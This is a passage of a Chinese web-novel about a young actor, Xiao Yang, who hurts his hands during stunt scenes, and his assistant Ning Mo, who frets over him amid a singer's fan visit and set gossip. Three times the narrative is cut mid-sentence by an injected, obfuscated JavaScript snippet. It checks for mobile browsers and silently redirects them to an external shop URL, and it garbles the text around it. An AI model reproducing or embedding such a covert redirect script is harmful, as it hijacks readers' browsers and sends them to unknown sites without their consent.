手上的伤口处理起来太费时间，萧扬想尽快结束，就随便处理了一下，怕宁茉发现担心，特意没有裹纱布，想着不显眼，宁茉发现不了。 却没想到小助理这么敏感，一点点细节都能迅速抓住要害。 宁茉：“……” 这下谁也不用开车了，宁茉给王墨打了电话，要他来时帮忙带两份饭，随后拽着萧扬回到车里，看着萧扬的手，忍了又忍，终于还是从牙缝里挤出一句。 “你刚才就是这么处理伤口的？” 她现在甚至有种荒诞的冲动，想把萧扬衣服扒了，重新再给他上一遍药。 萧扬肉眼可见的心虚，一双清凌的眼睛低垂着，不敢和宁茉对视，只是放柔语气，哄人一般说道：“刚才……没有注意。” 宁茉一直捏着他的手腕没有放，此刻终于生气，猛地松手，任由萧扬的手腕被甩下去，自己抱着胳膊不说话了。 敬业和不爱惜自己的身体是两回事。 萧扬眼眸有一闪而过的慌乱，似乎没想到宁茉会是这种反应，他下意识伸手去抓宁茉的手，又在即将触碰到宁茉时看了眼自己还在流血的手心，硬生生收了回来。 “……小助理，”萧扬微微歪头，眼眸直直盯向宁茉，刘海随着他的动作垂在眼前，透着几分无害，“生气啦？” …… “呵。”宁茉发出一声冷哼，听的人后脖颈一凉，她语气淡淡的，“我要下班了，你等王墨来帮你处理吧。” 萧扬：“……” 真的生气了，完了。 萧扬观察着宁茉的神情，想让她看自己，偏偏宁茉别着脸不看他，一张小脸气鼓鼓的，眼底都是恼意。 没有哄人的经验，萧扬局促不安，又解释了几句：“我不是故意不管手上的伤，只是伤口不严重，那些倒刺不处理自己也会出来，所以就……” 他一句话没说完，宁茉却猛地回头望向他，一双眼睁得很大：“还有倒刺？” “……” 萧扬第一天学到“说多错多”这个词的真正意思。 车里瞬间安静了足足有一分钟。 直到宁茉深吸一口气，像是劝自己想开般，重重把那口气呼了出去。 随后她低头重新打开医药箱，开始找需要的东西。 萧扬乖乖坐在一旁，一个多余的动作都没有，转身伸手一气呵成，心虚到一点声音都没有发出来。 宁茉抬起萧扬的手腕，盯着他手腕的乌青和手心扎进去的几个木刺，又静止了几秒。 大概是刚才拍摄时萧扬太用力，最后那一击打在假人身上，木棍反震回来，末端砸在手腕上，砸出一片乌青，掌心和手指里更是扎进去不少木头的倒刺。 普通人这样的状态，可能连保持镇静都做不到，偏偏萧扬外表一切如常，就好像习惯了似的。 ……他明明应该是个娇生惯养的小少爷，怎么能做到这样？又何必要……做到这样。 宁茉动作很小心，拿着镊子一点点挑，把明显的几个木刺挑出来，车里的灯光不够亮，她打开车里一切能打开的光源，认真观察着萧扬的手。 萧扬也同时在看她。 女孩一脸认真，眼尾发红，有几丝碎发随着她的动作在眼前晃来晃去，时不时挡住她那双清澈漂亮的眼睛，却让人更想看下去，看那双眼睛里到底隐藏着什么情绪。 她的神情让萧扬想起曾经见过的一道风景，那是一尊即将被海水淹没的神像，幽暗深蓝的海面上只露出她半个头颅，但只短短的一瞥，已经足够窥见神像的圣洁、美丽，神像的面容细看过去带着悲悯之意，安静地望着大海和万物，仿佛不是她被海水淹没，而是她主动要去往深海。 手上的伤口明明不疼，萧扬的心口却开始发酸，像是有沉甸甸的巨石坠在他心口，拉着他不断往下沉，直到彻底沉溺在那片海里，心甘情愿地一同沉眠。 …… “右手给我，”宁茉的声音干巴巴的，勉强平稳着语气：“左手先别动。” 萧扬的目光这才下移，看向自己被包扎的严严实实的左手，宁茉缠了三层纱布，连握拳都困难。 萧扬眨了眨眼：“……下午还要拍摄。” “我知道，”宁茉显然比他考虑的更多，“我先给你厚厚上一层药养一会儿，开拍了再拆纱布，换成透明的防水创可贴。” 说完像是觉得萧扬不靠谱，又立刻皱着眉补了一句：“不要乱动，下午拍摄的时候注意一点。” “好，”萧扬看着她严肃的眉头和稍微松动了些的神情，话里忍不住带了点笑意，“我会注意的，宁老师。” 宁茉：“……” 她终于没忍住，瞬间笑了一声，随后又板正脸，似瞪非瞪地看了萧扬一眼：“我在认真跟你说话。” 萧扬也点点头：“我也在认真的回应你，我知道了，这次是意外，以后不会了。” 他语气正经了一点，便突然显出一种意外的真诚来，反倒让宁茉怔了一下。 回神时对上萧扬灼灼的目光，宁茉心跳错了一拍，又迅速低下头，给萧扬右手上的纱布打结。 等处理好，王墨正好也赶到了。 他提着两份餐，风尘仆仆地走到车边，打开车门的瞬间愣了一下：“萧哥，你手伤了？” 萧扬手上那两团纱布实在太显眼了，很难让人看不到。 萧扬摇摇头：“没事，小伤。” 宁茉接过他手上的东西，淡淡开口：“下午可能还有一场打戏，你帮我盯一下，萧扬手上有伤，别让他沾水。” 萧扬听到这句话，原本带着笑的眉眼微微一怔，这才意识到，宁茉跟组的时间是早上，她该回去了。 王墨立刻应道：“好好好，你放心，我会注意的！” 宁茉将餐盒打开，又竖起座椅上的隔板，将属于萧扬的那份餐放在了隔板上。 做这些动作时，她全程没有抬过头，萧扬看了她半天，连一个眼神都没对上。 萧扬：“……” 王墨带来的是两份减脂餐，一眼望过去绿油油的，很难让人勾起任何食欲，好在宁茉现在也没什么食欲，她坐在车里，将饭盒放在腿上，低着头开始慢慢吃饭。 萧扬两只手都裹了厚重的纱布，不太方便弯，勉强捏了个叉子叉起一块鸡肉，余光却止不住地望旁边看，也只能看到宁茉低垂的侧脸。 ……小助理生起气来，竟然这么难哄。 一顿相对无言的午餐吃完，两个人都没吃几口，却都感觉饱了。 宁茉把车里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14578542|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垃圾收拾好，提着下了车，萧扬的目光追着她走了几步，发现她越走越远，终于忍不住开口：“你去哪儿？” 宁茉脚步一停，却没回头：“扔垃圾。” 走到垃圾桶前面，宁茉把手里的袋子裹紧了些，团成一团扔进去，又回到车边，开始收拾自己的东西，把杂物通通收进背包里。 萧扬一眼不眨地盯着她的动作：“你去哪儿？” “……”要不是语气不一样，宁茉都要以为自己出现幻听了，同样的内容，萧扬硬生生问了两遍。 她收拾好背包，直起身看向他：“我要回酒店了。” 她今天的工作结束了，该休息了。 萧扬眼底一瞬间闪过愣怔，随后下意识开口：“……那让王墨送你回去。” 这话一出，宁茉和王墨同时愣了一下。 “不用，”宁茉拒绝的很快，“我自己打车，车留给你，你需要休息。” 距离下午的拍摄只剩半小时了，萧扬再不休息，下午有没有精力拍戏都是未知。 连王墨都有点疑惑，今天萧扬的状态有点奇怪，但他说不出哪里奇怪，就是觉得和平时不太一样。 “不行，让王墨……”萧扬一句话没说完，对上宁茉冷静又冷淡的目光，竟然自己卡顿了一下。 他意识到，宁茉绝不会接受他的建议，让王墨送她回酒店。 萧扬只好换了一句话：“……那你路上小心，注意安全。” “嗯。” 宁茉转身就走，背影干脆利落，没一会儿就离开了萧扬的视线范围。 萧扬：“……” 真是好无情的一个人。 …… 宁茉没有打车。 她走在安静的小路上，抬头看了眼道路两旁枯黄残绿的树，云城天气一向很好，微风吹着树梢的黄叶，温柔地将叶子卷了下来，在空中打了几个转，再慢慢飘落到宁茉脚底。 宁茉蹲下捡了一片叶子，看着叶子上的脉络，就这么发起了呆。 她今天的情绪实在是太失控了。 这种异常的感觉让她陌生、惶恐，脑内在不停地示警，像是有什么东西就要突破边界，而她必须及时刹住，不能再往前了。 前面一片未知，而未知的世界，是最危险的。 一辆汽车从马路上驶过，鸣笛声唤醒了宁茉，她发现自己已经蹲了有一会儿，腿都开始发麻了。 宁茉缓慢地起身，跺了跺脚，继续向酒店的方向走。 天气冷的像冰刀在皮肤上刮，宁茉收紧羽绒服领口，不知道为什么，蓦然想到萧扬身上那件薄薄的校服，萧扬瘦了很多，那件校服就显得偏大，刮风的时候整件衣服都会跟着飘，就好像随时能将衣服里面的人也一起卷走。 宁茉突然意识到，她只顾着生气了，忘了给萧扬的校服里面贴暖宝宝，下午的温度会越来越低，也不知道萧扬穿那么少，能不能承受的了…… 很快，宁茉又摇摇头，萧扬不是小孩子了，而且王墨也在片场，三个助理的工作内容是一样的，王墨当然也能照顾好萧扬。 她将脑子里杂七杂八的念头全部踢出去，一路走到了酒店楼下，远远就看到一堆人头，还有辆粉色的小巴士停在酒店门口，看起来十分显眼。 宁茉好奇地张望了几眼，突然注意到一道明黄色的身影，她看过去的同时，对方也看了过来，是宋依依，正挤在人群里笑呵呵地和周围的女孩子们聊着天，手里还提着一个粉色的袋子。 宋依依看到宁茉，立刻举起手：“茉茉！这儿！“ 26. 第 26 章 宋依依这一嗓子声音很大，周围的女孩子们都朝她看过来，宁茉顿时有些无措，低着头加快脚步走过去，走近才看到粉色小巴士上支着一个小摊，旁边是几幅海报架，上面印着一个漂亮的女生。 宋依依笑的阳光：“快来，有奶茶喝！” “什么？” 宁茉走近，被宋依依往怀里塞了个粉色袋子：“不知道你喜欢什么味道，我给你领了原味的。” 宁茉接过袋子，入手还是温的，她小声问道：“这里在做活动吗？” 宋依依指了指旁边的海报：“是魏瑶的粉丝应援。” “魏瑶？” 宁茉朝着海报看了几眼，有点疑惑，她提前看过《风暴降临》的演员表，并没有在主演名单里见过这个名字，而且海报上的人很漂亮，看她粉丝能弄来这么大的应援车，也不可能是个小配角。 “魏瑶你都不知道！”宋依依惊讶地说了一句，又左右看了看，压低声音，“最近很火的一个歌手，好多歌都上了金曲榜单呢！据说她接了《风暴降临》的片尾推广曲，今天来云城了，等会儿就去剧组找陈昌导演。” “不过有点奇怪，她怎么会今天过来，明明《风暴降临》还要拍十几天，而且男女主演都不在剧组。” 宋依依一边说着，一边指了指那辆粉色的小巴士：“这个小粉车就是她的粉丝们来探班，搞了这个奶茶应援，等会儿这辆小车就要出发去剧组啦。” 宁茉点点头，原来是有歌手要和陈昌合作，粉丝竟然还来做应援，说明她人气不低。 宋依依继续说道：“不过我听说这个魏瑶人可好玩了，是个二次元，性格比较跳脱，而且每次都要参与到剧组拍摄里了解人物剧情，说这样唱出来的歌才有感情。” 宁茉点头表示理解：“那她还挺用心的。” “但我觉得不止于此哦~”宋依依声音越压越低，挤眉弄眼的，“她以前从来不接影视剧OST的，最近接的几首影视剧推广歌，都是海文成主演的~” “据小道消息说，她好像超级喜欢海文成，为爱发电的那种，只要是和海文成有关的活动，开价都超低！” 宋依依八卦间不耽误她做事，转眼她就又去奶茶摊前领了一杯新的，一同塞给宁茉：“茉茉你先喝这杯，这杯是热的，天这么冷，别冻着了。” 宁茉还沉浸在八卦里，冷不防怀里又多了一杯热奶茶，顿时一愣：“我这杯还没喝呢，放回去吧，别浪费了。” “诶呀没事，多喝两杯，粉丝宣传应援，你去领她们才高兴呢，”宋依依左右张望了一眼，“魏瑶快出来了。” 她的话音刚落，酒店门口就传来一阵喧闹声，有粉丝激动地开始喊“魏瑶！”，宁茉看过去，一眼就看到了人群里的漂亮女孩子。 她看起来年纪不大，一张脸满是青春活力，画着素雅干净的淡妆，弧度完美的长发绑成两个低马尾垂下来，穿着淡蓝色的裙子，手上抱着粉丝送的玩偶和鲜花，正笑眯眯地和粉丝们打招呼。 宁茉的目光被魏瑶身上的挎包吸引，那应该是个奢牌，看起来就精致漂亮，但吸引宁茉目光的是包包上挂着的一个小挂件，那是个方正的小牌子，上面印着一个可爱的Q版人偶，画风很好认，是圈里一个有名的画萌版插画的画师，宁茉关注过她。 魏瑶笑得很甜，和粉丝们一个个打招呼走过，走到宁茉和宋依依身边时，宋依依朝她灿烂地笑了笑，魏瑶于是也朝她笑笑，随后目光落在了宁茉身上。 宁茉还在看那副Q版画，思考这是哪个人物，冷不防宋依依拍拍自己：“茉茉！魏瑶和你打招呼呢！” 宁茉忙抬头看过去，正对上魏瑶的目光，立刻抬手朝她挥了挥。 魏瑶也笑着挥挥手：“漂亮粉丝们下午好~” “哈哈，她把我们当成她的粉丝了，”宋依依小声说，“应该是因为我们手里拿着应援奶茶。” 奶茶摊周边的几个女孩子也在和魏瑶打招呼，魏瑶双手圈成喇叭状，喊道：“走啦宝贝们，去给剧组送温暖！” 粉丝们一呼百应，立刻启动粉色巴士，跟着魏瑶的车一起离开了酒店。 热闹逐渐散去，宋依依搓了搓胳膊：“茉茉，我们回房间吧，外面实在太冷了，云城今天大降温，夜里据说还不到十度呢。” 宁茉一愣，摸着手里的热奶茶，脚步放慢了些。 —— 《风暴降临》剧组，校园体育场。 剧组里依旧热闹，化妆师在给萧扬补妆，余光瞥到萧扬的手心，顿时一愣：“萧老师，您受伤了？” 萧扬手心贴着几个透明创可贴，动作也有点僵硬。 “没事。” 萧扬握起拳头，挡住了创可贴，神情淡漠地闭上了眼睛，似乎并不在意。 化妆师又看了他手心一眼，欲言又止，但萧扬没说话，她也只好安静地继续补妆。 王墨从远处跑过来，手里捧着一堆暖宝宝。 “萧哥，往衣服里面贴几个暖宝宝吧。” “不用，”萧扬眼也不睁，语气平静，“待会儿要翻墙，不方便。” 王墨挠挠头：“可是今天降温了，宁茉说晚上特别冷。” 萧扬突然睁开眼。 王墨的神情有点苦恼：“她说浦哥下任务了，今晚务必把包里的暖宝宝今晚全部用完。” 萧扬的目光不知道在看什么地方，定定地愣了几秒，嘴角突然上扬了一点。 浦世诚是个粗人脑袋，从来想不到这么细，是谁假借浦世诚名头下的任务，很容易猜出来。 萧扬终于看向王墨：“给我。” “啊？”王墨一愣，没想到浦世诚的话这么好用，立刻走了过来，“哦哦，萧哥我来帮你。” “不用，”萧扬不动声色地退了一步，伸出手，“给我就好，我自己来。” 这明显的拒绝之意连一旁的化妆师都忍不住“噗嗤”一声笑了：“萧老师不喜欢别人碰他，你给他就好。” “……哦，好。” 王墨把手里的东西递出去，又有点疑惑，前两天宁茉不是还帮他贴了一身的暖宝宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592957|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗？怎么这会儿突然又不让人碰了。 …… 片场灯光镜头都调好了，副导演宫原喊萧扬过来准备，萧扬理了理校服，走了过去。 这一场要拍萧扬翻墙的戏，给他准备了威亚，但萧扬看了眼墙的高度，打算自己先试试。 工作人员把保护垫放到墙边，给萧扬腾出空间，他后退两部，朝前一个冲刺，轻巧地跃上了墙面，身形矫健到让人惊讶。 “哇！”王墨震惊道，“好帅！” 下一秒，萧扬扒住墙顶的动作突然一顿，神情一变，随后手猛地脱力，整个人瞬间掉了下来，重重砸在了保护垫上，发出了很大的声响，周边所有人都是一惊。 “怎么回事？！” “！萧哥！！”王墨也吓了一跳，立马冲了过去，“你摔到没？” 工作人员围上来看他，萧扬却很快站了起来，摆摆手示意自己没事。 王墨注意到萧扬手心有一片红，想细看时，萧扬却捏起拳头，躲开了众人的视线。 宫原也走了过来：“萧扬，没事吧？要不还是上威亚吧。” “没事，我再试一下。” 萧扬重新看向墙面，再次后退，咬了咬牙，一个冲刺猛冲了上去。 这次他的动作比上次还快，重心放在腰腹，超强的瞬间爆发力把自己往上带，终于一把翻了过去。 “漂亮！”在场众人都忍不住喊了一声，眼中满是赞扬，萧扬比之前那个小生王驭的身手好的可不是一点半点，演技的感染性也强，找到萧扬来演阑牧，简直是陈昌做过的最伟大而正确的决定。 拍摄进度出乎意料的顺利，好几场戏都是一次过，等需要转移拍摄场地时，天甚至都还没黑。 萧扬跟着剧组众人往下一个拍摄场地走，王墨跟在他后面，走着走着脸色一变，小跑几步拉住他：“萧哥！你的手是不是流血了？” 萧扬一低头，这才看到有血顺着他的指尖往下滴，手心的创可贴早就不见了，翻墙时粗粝的砖头磨着手心，伤口竟然加重了。 “这么严重！”王墨看清他的情况，瞬间就慌了，“医务组的人在吗？过来一下！” 跟组的医务人员立刻过来处理，看到他的情况时也吓了一跳，简单处理了一下，建议他去医院看看，说是伤口有点深可能会感染。 王墨当即要联系浦世诚。 “先不用，”萧扬阻止了他，“先拍完今天的戏。” “可是……”王墨想反对，萧扬比他开口还快。 “只剩一场了，拍完再说。” 他语气淡然，眼神却没有丝毫动摇，是惯常的那种强势和镇静，能让人很快就跟着他的决定走。 王墨着急地看着他的手，眼看着劝不动他，突然有点希望宁茉在这里。 萧扬决定的事情很少有人能让他更改，但起码宁茉每次开口时，萧扬好像都愿意听。 “下一场准备！” 宫原喊萧扬过去，王墨眼睁睁看着他草草一擦手上的血，转头就进了拍摄点位。 27. 第 27 章 *微信群“新的风暴已经出现“（4） [王墨：唉，萧扬哥下午又受伤了] [宋依依：？？？又？？？] [宁茉：……伤哪儿了？] [王墨：（图片）] [宋依依：（尖叫.jpg）我的天呐！这么多血！啊啊啊他还好吗！] [宁茉：……下午的戏不是不激烈吗，怎么手心又划破了？] [王墨：翻墙翻的，算是意外，医务人员处理过了，但是他们建议去医院再消毒缝合一下。] [宋依依：（大哭.jpg）] [浦世诚：？我去，我才一天不在就出事了。] [浦世诚：看好他，别让他逞强，我晚上过来。] 王墨看着群聊，突然手机一震，收到了来自个人的微信消息，点开一看，是宁茉单独发给他的。 [宁茉：他伤的严重吗？] 王墨忙回复：[看着挺吓人的，但萧扬哥说不疼] [宁茉：他疼也不会说的，你注意一点，别让他的手沾水。] 王墨：[好的，一定注意。] [宁茉：暖宝宝换了吗？四个小时了，可以换了。] 王墨：[哦哦，差点忘了，现在换。] …… 体育场内，饰演丁泽和他父亲的演员已经就位，乔娜娜却出了状况。 这一场戏她扮演的是个尸体，主要镜头是拍萧扬，她只有一个远景，但为了力求真实，剧组要求她化好特效妆当背景板。 尸体的特效妆十分骇人，乔娜娜之前拍摄时就觉得很难看，这次更不愿意答应，而且不知道她在想什么，不愿意化妆，却也走，坚持留在拍摄现场。 总导演陈昌这会儿不在现场，副导演宫原被她搞得一个头两个大，不得不好声好气地劝说她。 “简单化一下就行，特写之前都拍过了，你们就是一个前景。” “简单加点血不就行了？”乔娜娜坐在椅子上抬头看着宫原，“又看不清，化那么仔细干什么。” “……”宫原太阳穴快速跳了两下，尽量压平声音，“和之前不一样的话，有可能会穿帮。” “那就不要这个镜头啊，”乔娜娜翻了个白眼，“一两秒钟的镜头，有没有差别又不大，何必这么麻烦。” 她撇了一眼不远处的萧扬，对方仍沉浸在角色里，正在为下一场戏尝试不同情绪，并没有注意过她。 乔娜娜顿时更为不爽，脸上浮现出淡淡的嫌弃，之前看在海文成是主演、对手戏演员也是王驭的份上，她才找关系去要了这个角色，没想到拍都拍完了，王驭却出事了，连累她不得不重来拍一遍校花的剧情。 而且这个新招的阑牧演员也不知道是从哪里来的，从来没听过他的名字，也没见过他的作品，就是个没什么前途的炮灰演员，除了长得帅一无是处。 偏偏对方还傲气的很，在戏里看自己时还温柔青涩，偶尔对视上甚至会让人有心动的感觉，可是一旦下了戏，萧扬连个眼神都没给过自己。乔娜娜从来没被人这么对待过，气恼和鄙夷交织上涌，她的脸色更难看了。 乔娜娜：“反正我不化，你们找替身吧。” “你……”宫原这下是真的恼了，脸色气的通红，不敢直接对着乔娜娜发脾气，转而对助理破口大骂，“他妈的你没听到吗？找替身！现在！！立刻马上！！！” 助理彬哥脸色一灰，缩了缩头，没回一句话，起身就去找和乔娜娜身形相似的替身演员去了。 萧扬朝这边看了一眼，又很快收回了目光，神情冷淡。 王墨在一旁却有点忍不住，小声吐槽道：“马上都要天黑了，这再临时去找替身演员，再化化特效妆，几点才能拍完啊……” 萧扬低头喝了口水：“等会儿你先回去，浦世诚会过来。” “哥我不是那个意思，”王墨忙解释道，“我就是觉得她太过分了，这是她应该做的，她却因为嫌丑不去做，那嫌扮相丑还做什么演员啊，转行去当模特拍照片呗。” 王墨一边气愤一边不解：“她这么耽误大家进度，他们都不生气吗？” 萧扬语气却很平静：“很正常，这一行什么人都有，没什么好生气的。” 王墨看了眼萧扬，看着他这么冷静淡定，自己竟然慢慢也跟着冷静下来了，跟着冷眼旁观乔娜娜那边的热闹。 这时，王墨的手机滴滴响了两下，是助理群发来的消息。 [宋依依：（图片）（图片）片场进度怎么样啦？你们应该很快就能喝到应援的热奶茶啦~] [王墨：魏瑶要来？我们这边片场出了点小问题] [宁茉：怎么了？] [王墨：乔娜娜不愿意化特效妆，正在临时找替身演员] [宋依依：哈？？？这个女人真的很可恶！她前两天就对萧扬哥冷嘲热讽的，现在连配合都不配合了！] [宋依依：而且这是她最后一场戏了吧，怎么还作妖啊！] [宁茉：萧扬那边没事吧？] [王墨：萧扬哥挺冷静的，还在背词] [宁茉：没影响到萧扬就好，你别管别人了] [宁茉：晚上会降温，注意保暖] [王墨：好的，我知道了] [宋依依：哇~我们茉茉真是成熟稳重又细心！~爱了爱了] [宁茉：……不要当着我的面发这么奇怪的话] 王墨看着群里的对话，仿佛已经想象到那两个女孩子面对面发消息的场景，没忍住笑了一声。 萧扬的目光朝他看了一眼，注意到他在看群聊，随口问道：“是浦世诚的消息吗？” “不是，”王墨嘿嘿笑着，“是依依和宁茉，她们说魏瑶马上会来剧组。” 萧扬的注意力被拉了回来：“宁茉？” “是啊，她们在酒店楼下看到魏瑶的应援车了，”王墨笑了一声，“说魏瑶本人非常漂亮，让我期待一下。” “……”萧扬目光转回去，又问道，“宋依依好点了吗？” 王墨：“差不多好了，明天就能跟组了。” “……明天，”萧扬想了想，“明天就来？” “嗯，”王墨说道，“依依说她最近都没好好工作，明天后天都要跟，积极表现一下。” 萧扬：“……” 乔娜娜的替身演员找来了，化妆师开始给她化妆，宫原让大家先原地休息，萧扬也就坐在原地等着。 这时，一阵响亮的音乐声传来，跟随者音乐的是一辆粉色小车，缓缓驶入众人眼帘，小车后面的还有被一圈相机包围着的几个人。 剧组瞬间热闹起来，不少人惊呼道： “魏瑶！魏瑶来了！” “天呐？！那是海文成吗？” “海文成！！！！！” “啊啊啊海哥来了！！！” 听到声音，王墨站起来张望，看清来人时也是一愣： 竟然是《风暴降临》的男主角海文成，他去年刚凭一部电影拿了影帝，人气正高，接下《风暴降临》据说也是卖陈昌一个面子。 但海文成的拍摄戏份在十天后，他怎么提前来了？ 人群这头，乔娜娜听到了欢呼，立刻也站了起来，理了理自己的头发，又照着镜子补了口红，风情万种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14600031|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地扭捏着迎了上去。 王墨这时才看明白：“难怪她不愿意化特效妆，原来在这里等海影帝啊。” 陈昌就站在人群中心，一个小时前他听说海文成来了，立刻离开剧组，去了机场接他。 海文成穿着一身西装，头发打理得十分精致，虽然已经38岁，面庞看起来却还十分年轻，只是眉眼间染了些风霜，他一边走一边笑：“我来这边做个商务活动，顺便来片场看一下，陈导你怎么还专程来接我？” “你可是我们的风暴中心啊，”陈昌笑眯眯的，“当然要来接，这不，小魏瑶也是专程来找你的。” 这话说的旁边的魏瑶脸瞬间就红了：“说什么呢！我是来给剧组送温暖的，我可不知道海哥今天会来啊。” 陈昌笑笑没反驳，反倒是魏瑶越说脸越红，手不住地捏着包包上的小挂件：“而且我想来看看拍摄进度，时间紧急，怕你们压力太大。” 海文成也赞成地点点头：“时间确实太紧张了，我听说你找的新演员叫……萧扬？人怎么样？” “是，叫萧扬，”陈昌说道，“素质不错，你等会儿看看就知道了。” “萧扬？”魏瑶眨眨眼，“好熟悉的名字，我好像知道他，以前拍过一个古装戏，还挺帅的。” 陈昌笑了：“哦？我们小魏瑶都说帅，那肯定是真帅了。” 几个人聊着天，走到了体育场里，迎面就看到一个粉色的身影。 “文成哥！陈导！”是乔娜娜，她笑着和几个人打招呼，忽略了一旁的魏瑶，直接站到了海文成身边，“你怎么来了？” 海文成向她点点头：“你好，乔娜娜。” “别这么见外嘛，”乔娜娜冲他眨眨眼，“叫我娜娜就好，文成哥，你最近很忙吗，我给你发消息怎么都不回复我呀？” 海文成：“……抱歉，的确很忙，没看到。” “……”魏瑶眯了眯眼，看向陈昌，“这是？” 陈昌压低了声音：“演尤丽的演员。” “哦~”魏瑶想了想剧本内容，“那个漂亮校花？” 陈昌：“对，是她。” 乔娜娜离海文成很近，一边笑着，一边把目光朝着身边无数举着手机拍摄的人堆里扫了一眼，其中有个举着专业摄像机的男人，正在拍她和海文成同框的画面。 乔娜娜侧身让出海文成的脸，又伸手拉了拉他的衣角：“那文成哥下次记得回我消息哦。” 海文成点点头，语气礼貌却疏离：“一定。” 原本安静的体育场已经彻底沸腾，无数人听说海文成来了，从各个角落跑了过来，就连附近的学生们也闻询赶来，围在体育场外张望着。 王墨忍不住也凑上去看热闹，只剩萧扬一个人坐在原地，翻着手里已经发黄缺角的剧本。 看这个架势，今天大概会拍到很晚了。 萧扬也不着急，认真地看着后面的戏，将台词练了又练。 翻书时手心一动，扯到伤口有些疼，他低头看了眼手心，沉默了几秒，抬起头，目光重新移向人群。 海文成和魏瑶依旧被一群人包围着，陈昌在和宫原确认拍摄进度，乔娜娜的替身化妆已经化到一半，大家各自在忙着各自的事情，在热闹嘈杂的剧组里，他这里竟然成了唯一一处安静的场地。 萧扬很轻地笑了一声，低下头继续去看剧本，但只看了几秒，他神情微怔，猛地又抬起头，看向刚才目光扫过的地方。 就在不远处有一个身影正安静站着，专注地看着自己，鼎沸的人群中，她像一副静物画，就那么沉默地、温柔地、坚定地看着他。 是宁茉来了。 28. 第 28 章 宁茉和萧扬对视了几秒，有些尴尬地低下头，慢慢朝他走了过去，她能察觉到萧扬的目光一直在自己身上，但她不好意思抬头，就那么一个劲低头走到萧扬身边。 中午说自己要回去休息的是她，晚上又巴巴跑过来的还是她。 …… 萧扬的目光随着她的距离移动，慢慢抬起头，看着宁茉。 宁茉定在他面前停了两秒，伸手把手里的粉色袋子递出去：“……奶茶，热的，刚做好的。” 萧扬的目光终于从她脸上移开，看向那袋奶茶，又移回宁茉脸上：“你……” “我知道你不爱喝这种东西，”宁茉抿了抿嘴，“但今天太冷了，你中午吃得少，补充点热量吧——放心，我要的是代糖。” 萧扬的目光定在她脸上，几秒后才伸手接过那杯奶茶：“谢谢，你……专程来送奶茶？” 他的声音比平时要哑，暗暗蕴藏了些自己都没有察觉的期待。 不问还好，一问宁茉脸更红了，连耳尖都透着粉：“……我听说魏瑶……和海文成来了，就和依依来看看热闹。” 后面那句是她现加的，宁茉拉着宋依依过来时，并不知道海文成在这里，是到体育场听到无数人在议论，才知道海文成也来了。 宋依依第一时间就兴奋地冲了过去拍照，宁茉则找着自己要看的人，很快就找到了。 ——在一个小角落安静低头坐着，手上的创可贴没了，隔着很远都能看到手心是红的，衣服也依旧很薄，明明是休息时间，他竟然都不知道多加一件衣服。 王墨到底是怎么做的助理？宁茉看了一圈，甚至都没看到他的身影。 “……哦。”萧扬听到她的回答，眼底的光闪烁了一下，又很快压了下去，“……你喜欢海文成？” “……嗯。” 宁茉犹豫两秒，顺着他的话点点头，看着萧扬，终于还是没忍住，从他身后的大包里掏出羽绒服：“萧扬，你不冷吗？” 萧扬倒是回的诚实：“不冷，刚才运动了会儿。” “……”宁茉深吸一口气，看向他，“那穿吗？” 看着宁茉手里的羽绒服，萧扬眨了下眼：“……穿。” 他伸手要去接羽绒服，手心朝上，宁茉一眼就看到了他手上的伤，立刻将羽绒服撤回来：“我帮你穿。” 萧扬略带心虚地蜷起手指，观察着宁茉脸上的表情，对方却一脸平静，即不像之前那样生气，也没有对他新添的伤口表示任何意见，只是低着头帮他披上羽绒服，像她第一天来工作室时那样，认真尽责，唯独让人有种距离感。 萧扬抿唇，不确定地看着她的眼神，却没有看到一丝异样，终于有点耐不住：“……下午翻墙的时候没注意，不是故意的。” 他主动解释了手上的伤。 “嗯，”宁茉点点头，低头把奶茶吸管插进杯子里，还十分礼貌地地留了一截吸管包装纸在上面，不直接碰到吸管，“我知道，你自己有分寸。” “……” 萧扬这下是真没什么分寸了，他被噎住般顿了一会儿，才放低声音，半解释半认输般开口，“真的是意外。” 宁茉很轻地叹了口气，看向他：“今天的戏拍完，去医院看看吧。” 她用的是商量的语气，萧扬却立刻点头：“好。” …… 另一边，宋依依和王墨看够了热闹走回来，和萧扬打了个招呼。 乔娜娜的替身化好特效妆了，拍摄继续，海文成和魏瑶也跟过来看。 这里拍的是校长丁国盛替儿子丁泽处理尸体的剧情，阑牧千辛万苦赶过来时，看到的就是已经死去的尤丽，和冷着脸处理尸体的校长。 阑牧就躲在器材室里，透过器材室逼仄的窗户，死死盯着体育场里发生的一切。 